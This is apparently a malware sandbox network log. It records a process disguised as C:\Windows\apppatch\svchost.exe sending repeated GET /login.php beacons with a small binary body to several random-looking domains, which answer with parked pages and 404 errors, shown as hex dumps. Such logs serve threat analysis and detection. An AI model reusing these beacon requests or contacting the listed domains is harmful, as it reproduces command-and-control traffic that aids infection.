                                                                                                                                                                                                          Aug 23, 2024 18:42:12.843050003 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          11192.168.2.54971891.195.240.19805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.855525970 CEST277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: www.gahyqah.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792450905 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==
                                                                                                                                                                                                          last-modified: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-89b87dbbb-mhmxq
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 33 30 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 309<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com&nbsp;-&nbsp;gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From ge
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792463064 CEST224INData Raw: 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c 6c
                                                                                                                                                                                                          Data Ascii: neral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/570png" href="//img.sedoparking.com/t
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792474031 CEST1236INData Raw: 65 6d 70 6c 61 74 65 73 2f 6c 6f 67 6f 73 2f 73 65 64 6f 5f 6c 6f 67 6f 2e 70 6e 67 22 0a 2f 3e 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 37 2e 30 2e 30 20 7c 20 4d 49 54 20 4c 69 63
                                                                                                                                                                                                          Data Ascii: emplates/logos/sedo_logo.png"/><style> /*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792493105 CEST1236INData Raw: 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a
                                                                                                                                                                                                          Data Ascii: ml [type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-mozAEC-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusr
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792543888 CEST448INData Raw: 64 65 72 7b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 68 65 61 64 65 72 5f 5f 63 6f 6e 74 65 6e 74 7b 63 6f 6c 6f 72 3a 23 38 34 38 34 38
                                                                                                                                                                                                          Data Ascii: der{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox{text-align:center}.container-buybox__content-buybox{display:inline-block;text-align:left}.container-buybox__content-heading{font-size:15px}.c
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792555094 CEST1236INData Raw: 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73
                                                                                                                                                                                                          Data Ascii: lign:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-label{display:none}.container-searchbox__input,.container-searchbox__button{border:0 none}.container-se
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792563915 CEST1236INData Raw: 36 33 41 0d 0a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 5f 5f 63 6f 6e 74 65 6e
                                                                                                                                                                                                          Data Ascii: 63Ae:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content-interactive{text-align:left;margin:
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792577028 CEST1236INData Raw: 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 6e 65 63 65 73 73 61 72 79 2d 63 6f 6f 6b 69 65 73 2d 72 6f 77 7b 62 61 63 6b 67 72 6f
                                                                                                                                                                                                          Data Ascii: e td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25px;text-align:center;text-dec
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792625904 CEST1236INData Raw: 6f 6d 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 61 36 32 36 38 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 7d 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65
                                                                                                                                                                                                          Data Ascii: om:0;background-color:#5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.switch__slider--rou
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792638063 CEST1236INData Raw: 69 67 68 74 3a 37 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 69 76 65 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 2e 35 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 68 65 61 64
                                                                                                                                                                                                          Data Ascii: ight:700px}.container-content__webarchive{margin-top:4.5%}.container-content__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img.sedoparking.com/templates/bg/arrows-curved.png") #0e162e no-repeat center
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792680979 CEST1236INData Raw: 70 78 20 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 69 6d 61 67 65 7b 63 6f 6e 74 65 6e 74 3a 75 72 6c 28 22 2f 2f 69 6d
                                                                                                                                                                                                          Data Ascii: px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images/bullet_justads.gif");float:left;padding-top:32px}.two-tier-ads-list__list-element-content{display:inline-block}.two-tier-ads-l
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793175936 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==
                                                                                                                                                                                                          last-modified: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-89b87dbbb-mhmxq
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 33 30 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 309<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com&nbsp;-&nbsp;gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From ge


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          12192.168.2.549719154.212.231.82805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.341821909 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.285836935 CEST696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:14 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.326061010 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.726733923 CEST696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:14 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          13192.168.2.549720208.91.196.145805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.356463909 CEST318OUTGET / HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww1.lysyfyj.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001137018 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          Set-Cookie: vsid=917vr47197693387634658; expires=Wed, 22-Aug-2029 16:42:13 GMT; Max-Age=157680000; path=/; domain=ww1.lysyfyj.com; HttpOnly
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_QxSmw6RcvjLET9dXUu4diAwDxJRMRhwu5JrKgGGNNluOe+8v6fp9Vrb8zF67AKMkxTjy4Ml2VYDQeupqs/Ba9Q==
                                                                                                                                                                                                          Content-Length: 2166
                                                                                                                                                                                                          Keep-Alive: timeout=5, max=109
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 31 2e 6c 79 73 79 66 79 6a 2e 63 6f 6d 2f 3f 66 70 3d 5a 62 53 72 76 32 69 31 38 59 6e 4e 66 50 4e 53 71 53 73 43 36 6e 30 6a 51 4c 76 63 44 50 42 79 36 35 68 4b 72 59 63 56 65 5a 64 79 4f 6b 35 35 4e 6b 4d 6d 55 52 44 75 6a 4c 66 59 72 7a 45 4d 7a 35 42 45 35 51 6d 51 4e 65 69 51 48 61 64 6d 59 30 77 25 32 42 25 32 42 56 66 70 65 75 6c 70 41 56 58 47 51 4b 47 4c 54 38 41 37 54 37 64 7a 32 59 70 4d 63 31 4a 66 42 33 42 4b 6d 73 5a 75 49 77 76 65 6a 6b 56 51 7a 39 47 66 46 68 4e 59 41 48 30 63 42 46 46 34 4b 49 44 32 43 37 4d 38 52 45 77 78 79 77
                                                                                                                                                                                                          Data Ascii: ...top.location="http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQNeiQHadmY0w%2B%2BVfpeulpAVXGQKGLT8A7T7dz2YpMc1JfB3BKmsZuIwvejkVQz9GfFhNYAH0cBFF4KID2C7M8REwxyw
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001153946 CEST1236INData Raw: 32 6a 6b 62 65 38 32 77 74 47 39 68 25 32 46 44 51 79 59 39 35 71 30 75 55 52 50 72 7a 69 78 68 7a 7a 39 65 44 42 42 46 5a 31 45 72 50 30 41 66 69 32 6b 4f 4b 32 31 31 72 47 42 56 4c 74 30 75 79 45 41 63 55 46 52 77 6d 56 54 34 52 52 64 50 76 25
                                                                                                                                                                                                          Data Ascii: 2jkbe82wtG9h%2FDQyY95q0uURPrzixhzz9eDBBFZ1ErP0Afi2kOK211rGBVLt0uyEAcUFRwmVT4RRdPv%2F665t09U%2FP9JtApZkkSZ1jnwUZFPfrf5um%2B7w%3D%3D&prvtof=85P%2BvzUaO2GB7ULKjb0pRQ9vWyzI7FnHeQjbVBiQzKs%3D&poru=lL%2FTHaDL0%2BASDNkLUsN%2FTJNHeOzJzHu9wApqlIl41Tk%3
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001163960 CEST448INData Raw: 25 32 42 76 7a 55 61 4f 32 47 42 37 55 4c 4b 6a 62 30 70 52 51 39 76 57 79 7a 49 37 46 6e 48 65 51 6a 62 56 42 69 51 7a 4b 73 25 33 44 26 70 6f 72 75 3d 6c 4c 25 32 46 54 48 61 44 4c 30 25 32 42 41 53 44 4e 6b 4c 55 73 4e 25 32 46 54 4a 4e 48 65
                                                                                                                                                                                                          Data Ascii: %2BvzUaO2GB7ULKjb0pRQ9vWyzI7FnHeQjbVBiQzKs%3D&poru=lL%2FTHaDL0%2BASDNkLUsN%2FTJNHeOzJzHu9wApqlIl41Tk%3D&_opnslfp=1&"></frameset><noframes><body bgcolor="#ffffff" text="#000000"><a href="http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.087893963 CEST268INData Raw: 56 4c 74 30 75 79 45 41 63 55 46 52 77 6d 56 54 34 52 52 64 50 76 25 32 46 36 36 35 74 30 39 55 25 32 46 50 39 4a 74 41 70 5a 6b 6b 53 5a 31 6a 6e 77 55 5a 46 50 66 72 66 35 75 6d 25 32 42 37 77 25 33 44 25 33 44 26 70 72 76 74 6f 66 3d 38 35 50
                                                                                                                                                                                                          Data Ascii: VLt0uyEAcUFRwmVT4RRdPv%2F665t09U%2FP9JtApZkkSZ1jnwUZFPfrf5um%2B7w%3D%3D&prvtof=85P%2BvzUaO2GB7ULKjb0pRQ9vWyzI7FnHeQjbVBiQzKs%3D&poru=lL%2FTHaDL0%2BASDNkLUsN%2FTJNHeOzJzHu9wApqlIl41Tk%3D&_opnslfp=1&">Click here to proceed</a>.</body></nofr


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          14192.168.2.54972285.17.31.122805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:15.720752001 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
